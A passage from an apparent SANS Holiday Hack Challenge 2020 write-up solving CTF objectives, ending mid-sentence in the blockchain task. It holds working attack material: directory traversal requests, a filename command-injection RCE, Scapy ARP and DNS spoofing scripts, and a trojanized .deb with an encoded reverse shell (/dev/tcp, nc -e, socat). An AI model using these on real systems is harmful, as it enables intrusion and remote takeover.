SlideShare a Scribd company logo
1 of 50
Download to read offline
Objective and Terminal Assessment
Report
Author: Steven Maestas
Thursday, December 17th
, 2020
SANS HHC: Challenge and Terminal Assessment Report
Table of Contents
1 Summary........................................................................................................................................................3
1.1 Executive Summary................................................................................................................................3
1.2 Assessment Summary..............................................................................................................................3
2 Objectives......................................................................................................................................................3
2.1 Objective 1 – Uncover Santa’s Gift List...................................................................................................3
2.2 Objective 2 – Investigate S3 Bucket........................................................................................................4
2.3 Objective 3 – Point-of-Sale (PoS) Password Recovery.............................................................................5
2.4 Objective 4 – Operate the Santavator.......................................................................................................6
2.5 Objective 5 – Open HID Lock...............................................................................................................10
2.6 Becoming Santa....................................................................................................................................11
2.7 Objective 6 – Splunk Challenge.............................................................................................................11
2.8 Objective 7 – Solve the Sleigh’s CAN-D-Bus Problem..........................................................................13
2.9 Objective 8...........................................................................................................................................14
2.10 Objective 9..........................................................................................................................................17
2.11 Objective 10........................................................................................................................................21
2.12 Objective 11a......................................................................................................................................22
2.13 Objective 11b......................................................................................................................................25
2.14 End Game...........................................................................................................................................29
3 Terminals......................................................................................................................................................29
3.1 Kringle Kiosk.......................................................................................................................................29
3.2 Unescape Tmux....................................................................................................................................30
3.3 Linux Primer.........................................................................................................................................30
3.4 The Elf Code.........................................................................................................................................33
3.5 33.6kbps...............................................................................................................................................39
3.6 Redis Bug Hunt.....................................................................................................................................40
3.7 Speaker UNPrep...................................................................................................................................41
3.8 Snowball Fight......................................................................................................................................44
3.9 Sort-O-Matic.........................................................................................................................................46
3.10 CAN-Bus Investigation.......................................................................................................................47
3.11 Scapy Prepper.....................................................................................................................................48
SANS HHC: Challenge and Terminal Assessment Report
1 Summary
1.1 Executive Summary
The SANS Holiday Hack Challenge (HHC) is an annual, virtual security conference (Kringlecon) and CTF
developed by SANS, sponsored by Google and Splunk and made available for free to anyone who has a web
browser, Internet connection, and wants to participate. This year’s HHC became available starting on December
10th
2020. In addition to offering this conference and CTF free of charge, SANS also allows participants to write
a report on the challenges (objectives and terminals) and submit that report for a chance to win a variety of
prizes. This report has been published as an entrant into that competition. The documentation contained herein
relate directly to the solutions to each challenge hosted and solved in the SANS 2020 HHC.
1.2 Assessment Summary
Documentation below relates directly to each challenge offered in the SANS 2020 HHC. The technical
challenges are split between objectives, which are the main challenges necessary to complete the CTF and the
accompanying narrative, and terminals, smaller challenges which are often meant to develop an initial skill set
for the objectives or allow the participant to earn hints which allow them to better understand the problems to be
solved in the main objectives. This year’s HHC consists of 12 objectives and 11 terminal challenges, adding up
to a total of 23 individual technical problems to be solved. This reports details the solution to every objective
and terminal challenge. The documentation below will show how each objective or terminal challenge was
solved.
2 Objectives
2.1 Objective 1 – Uncover Santa’s Gift List
Upon registering or logging in with an account registered in previous HHCs, the user is transported into a virtual
world. In this case you begin with an onscreen avatar that you can move with the keyboard arrow keys or
mouse. You can interact with other NPCs in the game. Your avatar also has a badge in the center of the sprite
which gives information such as the currently unlocked narrative, list of objectives, hints, items, achievement,
etc. Upon exploring this badge after talking with the first NPC we encounter, we find our first objective.
The following hints are given for this objective:
• Twirl Area – Make sure you Lasso the correct twirly area
• Image Edit Tool – There are tools out there that could help Filter the Distortion that is this Twirl
The text of the objective is listed to the right. Two hints for solving this challenge are also given. A link
provided in the Image Edit Tool hint resolves to a tool called Photopea. Photopea is an online image editor
which allows you to perform many image editing tasks including those that are common in tools like GIMP or
SANS HHC: Challenge and Terminal Assessment Report
Adobe Photoshop. Conveniently, this tool gives you the ability to swirl or unswirl images within a selected area
of a photo. We will use this function to select the area of the image shown in the digital billboard and then swirl,
or unswirl the image as as necessary to read the text and answer the challenge question, what gift is Santa
planning on getting Josh Wright for the holidays? Below you can see the series of steps taken to make Santa’s
list in the photo readable using the Lasso Select tool and then the Filter → Distort → Twirl tool.
Though reversing of the initial swirl is not perfect, we can reverse the process enough to decipher the answer,
Josh Wright is receiving a Proxmark for the holidays. Entering the word Proxmark into the Objective 1 text box
allow us to solve this first, and the easiest of the challenges offered in this event. In addition to showing the
objective as solved in the badge, we are also awarded our first achievement, Uncover Christmas List.
2.2 Objective 2 – Investigate S3 Bucket
Moving on to the next area by entering the tram car, the second objective has you interact with a terminal labeled
Investigate S3 Bucket. The hints for this objective are found in the both the objective listed in the badge itself
and in the motd text that is displayed upon opening the terminal.
All hints are listed below:
• Santa’s Wrapper3000 – Santa’s Wrapper3000 is pretty buggy. It uses several compression tools, binary
to ASCII conversion, and other tools to wrap packages.
• Find Santa’s Package – Find Santa’s package file from the cloud storage provider. Check Josh
Wright’s talk for more tips!
• Finding S3 Buckets – Robin Wood wrote up a guide about finding these open S3 buckets.
• Bucket Finder.rb – He even wrote a tool to search for unprotected buckets!
• Leaky AWS S3 Buckets – It seems like there’s a new story every week about data exposed through
unprotected Amazon S3 buckets.
It seems that we must both find a package somewhere in the cloud (Amazon S3 bucket) and then do something
to “unwrap” the package that is retrieved. Looking in the home directory we find a directory labeled
bucket_finder. Within that directory we find a Ruby script labeled bucket_finder.rb, a wordlist, and a README.
The README file explains that the bucket_finder.rb script uses a word list to attempt and find open S3 buckets
and optionally download files found in public S3 buckets. Lets use this script to search for the highlighted word
SANS HHC: Challenge and Terminal Assessment Report
wrapper3000. This can be done by adding wrapper3000 to the wordlist and running the Ruby script. The results
are shown below:
It looks as though we have found the S3 bucket we are looking for. Upon downloading the package using curl
and examining it we find a file containing base64 encoding. Decoding the base64 and storing the output in a file
we find a tar archive. Unarchiving the file we now find another file encoding in hex using xxd, then XZ
compressed, then compressed with the UNIX/Linux compress command. The series of commands listed below
show the process of unwrapping the package to get to the final text file.
The final text file contains the key necessary to complete the objective, “North Pole: The Frostiest Place on
Earth”. After entering the key in Objective 2 on the badge, we get the following results and the achievement
Investigate S3 Bucket.
elf@59a7e495c972:~/bucket_finder$ ./bucket_finder.rb wordlist
http://s3.amazonaws.com/kringlecastle
Bucket found but access denied: kringlecastle
http://s3.amazonaws.com/wrapper
Bucket found but access denied: wrapper
http://s3.amazonaws.com/santa
Bucket santa redirects to: santa.s3.amazonaws.com
http://santa.s3.amazonaws.com/
Bucket found but access denied: santa
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
<Public> http://s3.amazonaws.com/wrapper3000/package
elf@59a7e495c972:~$ curl -X GET http://s3.amazonaws.com/wrapper3000/package > package
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 829 100 829 0 0 9869 0 --:--:-- --:--:-- --:--:-- 9869
elf@59a7e495c972:~$ ls
TIPS bucket_finder package
elf@59a7e495c972:~$ cat package | base64 -d > p
elf@59a7e495c972:~$ file p
p: Zip archive data, at least v1.0 to extract
elf@59a7e495c972:~$ unzip p
Archive: p
extracting: package.txt.Z.xz.xxd.tar.bz2
elf@59a7e495c972:~$ file package.txt.Z.xz.xxd.tar.bz2
package.txt.Z.xz.xxd.tar.bz2: bzip2 compressed data, block size = 900k
elf@59a7e495c972:~$ bunzip2 package.txt.Z.xz.xxd.tar.bz2
elf@59a7e495c972:~$ file package.txt.Z.xz.xxd.tar
package.txt.Z.xz.xxd.tar: POSIX tar archive
elf@59a7e495c972:~$ tar -xvf package.txt.Z.xz.xxd.tar
package.txt.Z.xz.xxd
elf@59a7e495c972:~$ xxd -r package.txt.Z.xz.xxd package.txt.Z.xz
elf@59a7e495c972:~$ file package.txt.Z.xz
package.txt.Z.xz: XZ compressed data
elf@59a7e495c972:~$ xz --decompress package.txt.Z.xz
elf@59a7e495c972:~$ file package.txt.Z
package.txt.Z: compress'd data 16 bits
elf@59a7e495c972:~$ uncompress package.txt.Z
elf@59a7e495c972:~$ file package.txt
package.txt: ASCII text
elf@59a7e495c972:~$ cat package.txt
North Pole: The Frostiest Place on Earth
elf@59a7e495c972:~$
SANS HHC: Challenge and Terminal Assessment Report
2.3 Objective 3 – Point-of-Sale (PoS) Password Recovery
The third objective is found in the courtyard located in the back of the castle on the first floor. The goal of this
objective is to recover the password for the PoS.
The following information and hints regarding this objective are given:
• Electron ASAR Extraction – There are tools and guides explaining how to extract ASAR from Electron
apps.
• Electron Applications - It’s possible to extract the source code from an Electron app.
The hints given for this objective indicate that this is an Electron application and that using an extension for
NodeJS can allow an attacker to obtain the source code for the application. The application downloaded is
an .exe. This executable must be installed on Windows and then the app.asar file located. The given utilities can
then be used to extract the source code. Once we have the source code, we can look for a plaintext password.
The following commands were used on a Fedora 32 Linux system. The commands install NodeJS, asar, the
santa-shop.exe PoS application (using WINE), extract the asar, and search through the files for the word
password, which leads to the PoS password in the plaintext file main.js.
With the key obtained we can enter it into the objective on our badge and complete Objective 3. We receive the
following result, including earning the achievement Point-of-Sale Password Recovery.
$ sudo dnf module install nodejs:12 -y
...
$ sudo npm install asar
...
$ wine santa-shop.exe
...
$ locate app.asar
/home/user/.wine/drive_c/users/user/Local Settings/Application Data/Programs/santa-
shop/resources/app.asar
...
$ asar extract app.asar source
$ cd source
$ grep password *
grep: img: Is a directory
main.js:ipcMain.handle('unlock', (event, password) => {
main.js: return (password === SANTA_PASSWORD);
README.md:Remember, if you need to change Santa's passwords, it's at the top of
main.js!
renderer.js: const theirPassword = document.getElementById('password').value;
renderer.js: document.getElementById('password-message').innerText = 'Invalid
...
[steve@fx source]$ grep SANTA_PASSWORD *
grep: img: Is a directory
main.js:const SANTA_PASSWORD = 'santapass';
main.js: return (password === SANTA_PASSWORD);
$
SANS HHC: Challenge and Terminal Assessment Report
2.4 Objective 4 – Operate the Santavator
This objective is more of a puzzle and scavenger hunt then a typical security or technology related task.
Solving this challenge is completed in stages and requires the player to use items found throughout the castle to
correctly redirect a light stream through different colored light bulbs matching Christmas themed icons/colors in
order to allow access to additional floors of the castle. The different elevator access allowed is based on the
configuration of the stream and is listed below:
The following hint is also given to the player:
• Santavator Operations – It’s really more art than science. The goal is to put the right colored light into
the receivers on the left and top of the panel.
Our search for items begins on the first floor. The following items are found on the first floor:
1. Candy Cane Fragment – Found at the entrance to the castle
2. Hex Nut 1 – Found in front of the elevator, to the right and next to a wall
3. Hex Hut 2 – Found in the dining room but hidden behind the table
4. Green Bulb – Found in the courtyard in the upper left corner
5. Elevator Key – Given to the player by Sparkle Redberry as part of the objective
SANS HHC: Challenge and Terminal Assessment Report
After obtaining these items, the elevator electronics can be configured as shown below in order to access the
talks floor and the speaker unpreparedness room.
After activating the green circuit and traveling to the talks floor, the items can be found that allow access to
additional floors. The following items are found on this talks floor:
1. Red Bulb – Located in the upper right hand corner of the main area
2. Button 1½ – Located in the speaker unpreparedness room. The speaker unprep challenge must be solved first.
After finding this items, a second configuration of the electronics allows access to roof and the workshop.
SANS HHC: Challenge and Terminal Assessment Report
The roof contains the final bulb that, when configured correctly, allows access to the remaining floors. The
yellow bulb is the only item found on the roof and is located in front of and to the left of Santa’s sleigh.
Though this is the last item needed for full operation of the santavator, at least for the configurations shown in
this document, there are three more items to be found in the workshop on floor 1½.
1. Rubber Ball – The room with the wrapping machine in the lower right corner of the room
2. Marble – In the room with the Sort-O-Matic
3. Proxmark3 – In the room with the wrapping machine. This is necessary to complete Objective 5
With all items obtained, the final configuration is pictured below:
SANS HHC: Challenge and Terminal Assessment Report
The objective and achievement for this objective are marked as completed once the first configuration is set.
The achievement Operate the Santavator is also awarded.
2.5 Objective 5 – Open HID Lock
The goal of this objective is to capture RFID events from elves around the castle and use those RFIDs to gain
access to an additional room in the workshop that allows you to become Santa.
The following hints are given for this objective:
• Proxmark Talk – Larry Pesce knows a thing or two about HID attacks. He’s the author of a course on
wireless hacking!
• Short List of Essential Proxmark Commands – There’s a short list of essential Proxmark commands
also available.
• Reading Badges with Proxmark – You can use a Proxmark to capture the facility code and ID value of
a HID ProxCard badge by running lf hid read when you are close enough to someone with a badge.
• Impersonating Badges with Proxmark – You can also use a Proxmark to impersonate a badge to
unlock a door, if the badge you impersonate has access. Lif hid sim -r <id>
Using the lf hid read the following RFIDs can be captured:
1. Shinny Upatree – Located in front of the castle
ID: 2006e22f13
2. Noel Boetie – Located in the wrapping room off of the workshop
ID: 2006e22ee1
3. Bow Ninecandle – Locate in the
ID: 2006e22f0e
4. Sparkle Redberry – Located in front of the santavator in the entrance to the castle
SANS HHC: Challenge and Terminal Assessment Report
ID: 2006e22f0d
5. Holly Evergreen – Located in the kitchen
ID: 2006e22f10
A hint given by Fizzy Shortstack, “You know Santa really seems to trust Shinny Upatree,” indicates that this is
probably the RFID that will open the door so it is the first one that was tried. It should be noted that opening the
HID requires that the players avatar be directly in front of the HID reader as pictured below. The player must
also wait for the Proxmarx to run the operation before closing the Proxmark window or the HID will not
activate. The command shown below, using Shinny Upatree’s RFID will open the door.
After opening the door, the objective is marked as complete and the Open HID Lock achievement is earned.
2.6 Becoming Santa
In order to become Santa, the player must enter the room unlocked with the Proxmark and travel through the
back of the painting that faces the entry as shown below. Note: This challenge was changed after the initial
completion of the objective prior to December 17th
. The room initially consisted of an invisible maze you had to
navigate to get to the back of the painting. That has since been disabled. Many of the final objectives can only
be completed as Santa.
2.7 Objective 6 – Splunk Challenge
Objective 6 is meant to be a walk through of using Splunk to do an investigation on the logs and traffic
generated by the Atomic Red Team tests.
[magicdust] pm3 → lf hid sm -r 2006e22f13
[=] Simulating HID tag using raw 2006e22f13
[=] Stopping simulation after 10 seconds.
SANS HHC: Challenge and Terminal Assessment Report
Below each question is given along with the query used to obtain the answer.
1. How many distinct MITRE ATT&CK techniques did Alice emulate?
2. What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique
1059.003? (Put them in alphabetical order and separate them with a space)
3. One technique that Santa had us simulate deals with 'system information discovery'. What is the full name of
the registry key that is queried to determine the MachineGuid? This is query was run after determining which
tests are meant for system information discovery on the Atomic Red Team indexes: 1082 is described as system
information discovery.
4. According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test
executed? (Please provide the alphanumeric UTC timestamp.)
5. One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by
frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated
with the first use of this component? The frgnca utility is an audio device Powershell script called
AudioDeviceComdlets.
6. Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line
batch file that was also used by a few other techniques. What is the final command of this multi-line batch file
used as part of this simulation? This answer required finding batch files associated with registry run key tests
and searching through the files on the Atomic Red Team github to find which batch files contained command
manipulating the Windows registry run keys.
| tstats count where index=* by index
| search NOT index=attack
| eval index=substr(index,0,5)
| dedup index
| stats count
/* Answer: 13 */
| tstats count where index=* by index
| search index=t1059.003*
/* Answer: t1059.003-main t1059.003-win */
index=t1082-win HKEY_LOCAL_MACHINE
/* Answer: HKEY_LOCAL_MACHINESOFTWAREMicrosoftCryptography */
index=attack field3=T1205.002 OR field3=T1105 OSTAP
| sort _time
/* Answer: 2020-11-30T17:44:15Z */
index=T1123-win EventCode=1 WindowsAudioDevice-Powershell-Cmdlet
| sort _time
/* Answer: 3648 */
SANS HHC: Challenge and Terminal Assessment Report
7. According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS
certificate assigned to the Windows domain controller in the attack range?
8. The final question gives us the ciphertext 7FXjP1lyfKbyDK/MChyf36h7 which hints indicate is encrypted
with the RC4 cipher. Additionally, the Splunk talk gives us the passphrase “Stay Frosty.” Using this information,
a variety of tools were used to try and decrypt the cipher with the given passphrase, inlcuding OpenSSL,
Cryptool, and various online tools. These did not work because the KDF did not match what was used. Finally,
after iterating through a number of online tools, CyberChef was able to decrypt the ciphertext with the given
passphrase.
After entering the phrase “The Lollipop Guild” into the objective entry on the badge, you complete the objective
and are given the achievement Splunk Challenge.
2.8 Objective 7 – Solve the Sleigh’s CAN-D-Bus Problem
In this challenge, you are given an interface and a live view of the CAN-Bus data flowing on the Bus. Jack Frost
has tampered with the system so that invalid codes are being sent. You must filter out these invalid codes.
The following hints are also given:
index=t1547.001-win .bat
| rex field=_raw "(?<batfilename>[a-zA-Z0-9_]+.bat)"
| stats count by batfilename
/* Answer: quser from the parse_net_users.bat batch file */
index=*-win
| stats count by ComputerName
index=* certificate.subject=*win-dc*
/* Answer: 55FCEEBB21270D9249E86F4B9DC7AA60 */
SANS HHC: Challenge and Terminal Assessment Report
• CAN Bus Talk – Chris Elgee is talking about how CAN traffic works right now!
• Filtering Text – You can hide lines you don’t want to see with commands like cat file.txt | grep -v
badstuff
Additionally, we have already become somewhat familiar with this protocol from completing the CAN-Bus
Investigation terminal. After playing with the controls and with various levels of filtering we find the following
codes and values are associated with the following controls.
Start - 02A#00FF00
Stop - 02A#0000FF
RPM - 244#000064 - 00270F
Lock - 19B#000000
Unlock - 19B#F000000
SL-SR - 019#FFFFFFCE - 00000030
Brake - 080#00000000 – 00000064
After filtering out these legitimate controls and codes are associated with normal events we are left with two
codes. The first is a periodic code of 19B and value 0F2057 which is sent with no associated control or event.
The second are 080 codes with negative values along with the legitimate positive values when the brake is
pressed. Filtering out these codes, as shown below, completes the objective.
After entering these two filter, the challenge is solved and you receive the Solve the Sleigh’s CAN-D-BUS
Problem achievement.
2.9 Objective 8 – Broken Tag Generator
Objective 8 is located in the wrapping room off of the workshop. This consists of a tag generator Rails
application that has an RCE (among other issues). Your task is to find the value of the GREETZ environment
variable.
SANS HHC: Challenge and Terminal Assessment Report
The following hints are also given.
• Download File Mechanism – Once you know the path to the file, we need a way to download it!
• Error Page Message Disclosure – Can you figure out the path to the script? It’s probably on the error
pages!
• Redirect to Download – If you find a way to execute code blindly, I bet you can redirect to a file then
download that file!
• Content-Type Gotcha – If you’re having trouble seeing the code, watch out for the Content-Type! Your
browser might be trying to help (badly)!
• Endpoint Exploration – Is there an endpoint that will print arbitrary files?
• Source Code Retrieval – We might be able to find the problem if we can get source code!
• Source Code Analysis – I’m sure there’s a vulnerability in the source somewhere… surely Jack
wouldn’t leave their mark?
• Patience and Timing – Remember, the processing happens in the background so you might need to wait
before grabbing the output!
Even given the hints, this was one of the more challenging problems to solve given the design of the application,
which is admittedly simple. There were only really a few ways to interact with the application, which included
fetching images, deleting the cache, and uploading images. After inspecting the program using a browser and
Burp, it was discovered that uploaing a file other than an image file generated an error that revealed the path to
the app.rb file which comprise the core of this rails app.
In the app further, another url (/image) allowed the fetching of image files. This url, when tested, was found to
be vulnerable to a directory traversal vulnerability. This allowed us to fetch any file on the filesystem for which
we knew the name. At this point we could solve the challenge by asking the /image url to fetch us the
/proc/self/environ file, which displays the environmental variables associated with the running process.
GET https://tag-generator.kringlecastle.com/image?../../../../../../proc/self/
environ
SANS HHC: Challenge and Terminal Assessment Report
Though this solves the objective, we also want to exploit this application using the RCE. We first do this by
fetching the app.rb file with the following web request.
After getting the source code for the controller/app, we find the following line of code, which accepts user input
through an image file name or a file name of an image in a zip when any file is uploaded and found to have an
image extension.
Perhaps we can run some of our own code by submitting an appropriately named file and having it executed by
the Ruby system function. On testing this, it was found that something was interferring with the command being
run if the file was uploaded as an image file without being compressed in the zip format. Zip files on the other
hand were found to execute with a subset of shell characters. Additionally, it was found that any file in a zip
format was stored in the /tmp directory (the directory where upload images were stored as per the source code)
with the orginal filename, so a zipped shell script test.sh in a zip file would end up in the /tmp folder as test.sh.
The following steps were taken to obtain the GREETZ variable using the RCE.
1. Upload a zip file with the bash code we want to execute (if we want to run some more complex commands
outside of the direct RCE).
Contents of the test.sh file
Zip files with shell script to execute and a zipped .png file named with the shell command (simplified) passed to
the application in order to execute test.sh stored in /tmp.
GET https://tag-generator.kringlecastle.com/image?../../../../../../app/lib/app.rb
def handle_image(filename)
out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}"
out_path = "#{ FINAL_FOLDER }/#{ out_filename }"
# Resize and compress in the background
Thread.new do
if !system("convert -resize 800x600> -quality 75 '#{ filename }' '#{ out_path
}'")
LOGGER.error("Something went wrong with file conversion: #{ filename }")
else
LOGGER.debug("File successfully converted: #{ filename }")
end
end
# Return just the filename - we can figure that out later
return out_filename
end
#!/bin/bash
printenv > /tmp/output.txt
SANS HHC: Challenge and Terminal Assessment Report
Getting the /tmp/output.txt file after the RCE has executed (It is a blind RCE that execute asynchronously. )
In both solutions, we find the GREETZ variable contains the value JackFrostWasHere. Submitting this to the
objective on the badge solves the objective and gives us the Broken Tag Generator achievement.
2.10 Objective 9 – ARP Shenanigans
The terminal for this objective is located on the roof of the castle. You are required to regain control of a
compromised host by using a combination of Scapy and a hijacked/trojanized .deb package.
To solve this, the following Bash and Python scripts were created and executed.
The following hints are given to help solve this objective:
GET https://tag-generator.kringlecastle.com/image?../../../../../../tmp/output.txt
SANS HHC: Challenge and Terminal Assessment Report
• Spoofy – The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in-
the-middle attack. I think we have some sample scapy traffic scripts that could help you in
/home/guest/scripts.
• Embedy – The malware on the host does an HTTP request for a .deb package. Maybe we can get
command line access by sending it a command in a customized .deb file.
• Sniffy – Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access
it. Try sniffing the eth0 interface using tcpdump -nni eth0 to see if you can view any traffic from that
host.
• Resolvy – Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let’s
return a DNS response resolving the request to our IP.
1. Create Scapy script to perform and ARP spoof and gain access to DNS traffic from the compromised host. The
script use automatically pulls information from the host so it can be used if the IP address of the host changes
without changing the script. Ensure you are receiving DNS queries after the script is run.
2. Second, create another Scapy script to spoof a DNS response that indicates our host maps to the hostname of
the requested host. The script use automatically pulls information from the host so it can be used if the IP address
of the host changes without changing the script. Ensure you are receiving HTTP traffic after the script is run.
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in
range(0,8*6,8)][::-1])
srcip = "10.6.6.53"
def handle_arp_packets(packet):
# if arp request, then we need to fill this out to send back our mac as the
response
if ARP in packet and packet[ARP].op == 1:
ether_resp = Ether(dst=packet[Ether].src, type=0x806, src=macaddr)
arp_response = ARP(pdst=packet[Ether].src)
arp_response.op = 2
…
guest@67851b8c8fd5:~$ ./arp_spoof.py
SANS HHC: Challenge and Terminal Assessment Report
3. Since we are building a package for a reverse shell that should execute, lets start our listener.
4. Next we should build our .deb package. We used the already available socat package to ensure we had a
method of generating a reverse shell. Upon capturing HTTP traffic we find that the directory and file being
requests is /pub/jfrost/backdoor/suriv_amd64.db. The following commands are were used to build a deb file that
executes malicious code when it is installed and will be served from the correct directory by our Python web
server.
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in
range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"
def handle_dns_request(packet):
# Need to change mac addresses, Ip Addresses, and ports below.
# We also need
eth = Ether(src=macaddr, dst=packet[Ether].src) # need to replace mac
addresses
ip = IP(dst=packet[IP].src, src=ipaddr_we_arp_spoofed) # need
to replace IP addresses
udp = UDP(dport=packet[UDP].sport, sport=53) # need
to replace ports
dns = DNS(
id=packet[DNS].id,qr=1,opcode=0,rd=1,ra=1,aa=0,tc=0,z=0,rcode=0,qdcount=1,ancount=1
,nscount=0,arcount=0,qd=DNSQR(qname=packet[DNSQR].qname, qtype=packet[DNSQR].qtype,
qclass=packet[DNSQR].qclass),an=DNSRR(rrname=packet[DNSQR].qname,
type=packet[DNSQR].qtype, rclass=packet[DNSQR].qclass,rdata=ipaddr,ttl=10)
)
dns_response = eth / ip / udp / dns
...
guest@67851b8c8fd5:~$ ./dns_spoof.py
guest@67851b8c8fd5:~$ nc -nvlp 4444
listening on [any] 4444 ...
SANS HHC: Challenge and Terminal Assessment Report
5. At this point we should receive a reverse shell and be able to type commands into the nc windows.
6. Examining the file we find the answer to the objectives questions in the following lines:
The board took up final discussions of the plans presented last year for the expansion of Santa’s Castle to include
new courtyard, additional floors, elevator, roughly tripling the size of the current castle. Architect Ms. Pepper
reviewed the planned changes and engineering reports. Chairman Frost noted, “These changes will put a heavy
toll on the infrastructure of the North Pole.” Mr. Krampus replied, “The infrastructure has already been
expanded to handle it quite easily.” Chairman Frost then noted, “But the additional traffic will be a burden on
local residents.” Dolly explained traffic projections were all in alignment with existing roadways. Chairman
Frost then exclaimed, “But with all the attention focused on Santa and his castle, how will people ever come to
refer to the North Pole as ‘The Frostiest Place on Earth?’” Mr. In-the-Box pointed out that new tourist-friendly
taglines are always under consideration by the North Pole Chamber of Commerce, and are not a matter for this
Board. Mrs. Nature made a motion to approve. Seconded by Mr. Cornelius. Tanta Kringle recused herself
from the vote given her adoption of Kris Kringle as a son early in his life.
We can now solve this objective by entering the name Tanta Kringle into the objective on the Kringlecon badge.
We are rewarded with the ARP Shenanigans achievement.
guest@67851b8c8fd5:~$ mkdir -p pub/jfrost/backdoor
guest@67851b8c8fd5:~$ mkdir -p /tmp/packing/work
guest@67851b8c8fd5:~$ dpkg -x debs/socat_1.7.3.3-2_amd64.deb /tmp/packing/work
guest@67851b8c8fd5:~$ mkdir /tmp/packing/work/DEBIAN
guest@67851b8c8fd5:~$ ar -x debs/socat_1.7.3.3-2_amd64.deb
guest@67851b8c8fd5:~$ xz -d -v ./control.tar.xz
guest@67851b8c8fd5:~$ tar -xvf ./control.tar & cp control /tmp/packing/work/DEBIAN
guest@67851b8c8fd5:~$ touch /tmp/packing/work/DEBIAN/postinst
guest@67851b8c8fd5:~$ echo '#!/bin/bash' > /tmp/packing/work/DEBIAN/postinst
guest@67851b8c8fd5:~$ echo '' >> /tmp/packing/work/DEBIAN/postinst
guest@67851b8c8fd5:~$ echo ATTACKING_IP=`ifconfig eth0 | grep inet | sed -e 's/^
*//g' | cut -f 2 -d ' '` >> /tmp/packing/work/DEBIAN/postinst
guest@67851b8c8fd5:~$ echo
"QVRUQUNLSU5HX1BPUlQ9NDQ0NAowPCYxOTY7ZXhlYyAxOTY8Pi9kZXYvdGNwLyRBVFRBQ0tJTkdf
SVAvJEFUVEFDS0lOR19QT1JUOyBzaCA8JjE5NiA+JjE5NiAyPiYxOTYgfHwgYmFzaCAtaSA+JiAv
ZGV2L3RjcC8kQVRUQUNLSU5HX0lQLyRBVFRBQ0tJTkdfUE9SVCAwPiYxIHx8IHNvY2F0IHRjcDok
QVRUQUNLSU5HX0lQOiRBVFRBQ0tJTkdfUE9SVCBleGVjOidiYXNoIC1pJyxwdHksc3RkZXJyLHNl
dHNpZCxzaWdpbnQsc2FuZSB8fCBuYyAtZSAvYmluL3NoICRBVFRBQ0tJTkdfSVAgJEFUVEFDS0lO
R19QT1JUCg==" | base64 -d >> /tmp/packing/work/DEBIAN/postinst
# file containing attacking IP and port as well as reverse shell that tries a
variety of methods base64 encoded for easy copy and paste into terminal.
0<&196;exec 196<>/dev/tcp/$ATTACKING_IP/$ATTACKING_PORT; sh <&196 >&196 2>&196 ||
bash -i >& /dev/tcp/$ATTACKING_IP/$ATTACKING_PORT 0>&1 || socat tcp:$ATTACKING_IP:
$ATTACKING_PORT exec:'bash -i',pty,stderr,setsid,sigint,sane || nc -e /bin/sh
$ATTACKING_IP $ATTACKING_PORT
guest@67851b8c8fd5:~$ chmod 755 /tmp/packing/work/DEBIAN/postinst
guest@67851b8c8fd5:~$ dpkg-deb --build /tmp/packing/work & cp /tmp/packing/work.deb
guest@67851b8c8fd5:~$ pub/jfrost/backdoor/suriv_amd64.deb
guest@67851b8c8fd5:~$ python3 -m http.server 80
listening on [any] 4444 ...
connect to [10.6.0.3] from (UNKNOWN) [10.6.6.35] 43342
ls
NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
bin
boot
SANS HHC: Challenge and Terminal Assessment Report
2.11 Objective 10 – Defeat Fingerprint Sensor
This objective requires us to bypass the fingerprint reader in the santavator as ourselves and make into Santa’s
office. Solving this objective turns out to be pretty easy this late in the game as you only need some basic
JavaScript knowledge and a web browser to bypass the fingerprint reader.
When entering the elevator and examining the JavaScript code that controls the button, and specifically button 4
or the finger scanner, we find the following function:
This function is checking for a token called “besanta” and if the token is in the array of tokens then run the
function and allow access. Very simply, all we need to do is pause execution at this point with the Chrome or
Firefox development modes, add besanta to the tokens and then the function run. To do this, set a breakpoint on
line 354 of the app.js code, push the fingerprint reader, and then type in the following code into the reader:
Finally, we can resume execution and we have just bypassed the fingerprint reader, solved the objective, and
earned the Defeat Fingerprint Sensor achievement.
const handleBtn4 = () => {
const cover = document.querySelector('.print-cover');
cover.classList.add('open');
cover.addEventListener('click', () => {
if (btn4.classList.contains('powered') && hasToken('besanta')) {
$.ajax({
type: 'POST',
url: POST_URL,
dataType: 'json',
contentType: 'application/json',
data: JSON.stringify({
targetFloor: '3',
id: getParams.id,
}),
success: (res, status) => {
if (res.hash) {
__POST_RESULTS__({
resourceId: getParams.id || '1111',
hash: res.hash,
action: 'goToFloor-3',
});
}
}
});
} else {
__SEND_MSG__({
type: 'sfx',
filename: 'error.mp3',
});
}
});
};
> tokens.push(“besanta”)
SANS HHC: Challenge and Terminal Assessment Report
2.12 Objective 11a – Naughty/Nice List with Blockchain
Investigation Part 1
This objective is the first of the final two objectives. Both objectives involve problems with manipulating blocks
in a block chain. This first challenge involves using the Mersenne Twister algorithm to predict the nonces which
are stored in each block.
We are given the following hint to help us with our task.
• MD5 Hash Collisions – If you have control over to bytes in a file, it’s easy to create MD5 hash
collisions. Problem is: there’s that nonce that he would have to know ahead of time.
We are given a blockchain.dat file and a Python script which can be used to read in and manipulate the block
chain and individual blocks. Upon reading in the block chain and viewing individual blocks, we find that the
